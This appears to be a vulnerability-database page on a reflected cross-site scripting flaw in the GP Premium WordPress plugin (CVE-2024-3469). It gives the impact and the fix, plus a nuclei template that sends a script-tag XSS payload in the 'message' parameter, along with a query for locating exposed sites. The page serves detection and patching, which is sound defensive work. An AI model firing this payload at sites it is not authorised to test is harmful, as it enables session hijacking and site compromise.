HexBrain

Browse / CVEs / CVE-2024-3469

CVE-2024-3469· generatepress / gp-premium· CWE-79

GP Premium <= 2.4.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
51%of all CVEs are less likely
Readycheck to confirm it

The GP Premium plugin for WordPress up to 2.4.0 is vulnerable to reflected XSS via the 'message' parameter in inc/verify.php (lines 95-101), where a message passed with sl_activation=false is URL-decoded and used unsanitized in add_settings_error(), allowing XSS payloads to be reflected in admin notices.

Impact

Successful exploitation allows attackers to hijack administrator sessions via cookie theft, create rogue administrative accounts, perform actions on behalf of authenticated users, and deface the website or inject malicious content.

Fix

Update GP Premium to version 2.4.1 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=generate-options&sl_activation=false&message=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "setting-error-license_failed")

Run it with nuclei: nuclei -id CVE-2024-3469 -u <target>

The full check
id: CVE-2024-3469

info:
  name: GP Premium <= 2.4.0 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    The GP Premium plugin for WordPress up to 2.4.0 is vulnerable to reflected XSS via the 'message' parameter in inc/verify.php (lines 95-101), where a message passed with sl_activation=false is URL-decoded and used unsanitized in add_settings_error(), allowing XSS payloads to be reflected in admin notices.
  impact: |
    Successful exploitation allows attackers to hijack administrator sessions via cookie theft, create rogue administrative accounts, perform actions on behalf of authenticated users, and deface the website or inject malicious content.
  remediation: Update GP Premium to version 2.4.1 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gp-premium/gp-premium-240-reflected-cross-site-scripting
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3469
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-3469
    epss-score: 0.00637
    epss-percentile: 0.5087
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: generatepress
    product: gp-premium
    framework: wordpress
    fofa-query: body="/wp-content/plugins/gp-premium/"
  tags: cve,cve2024,wordpress,wp-plugin,gp-premium,xss,authenticated,wp,vkev,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=generate-options&sl_activation=false&message=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "setting-error-license_failed")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from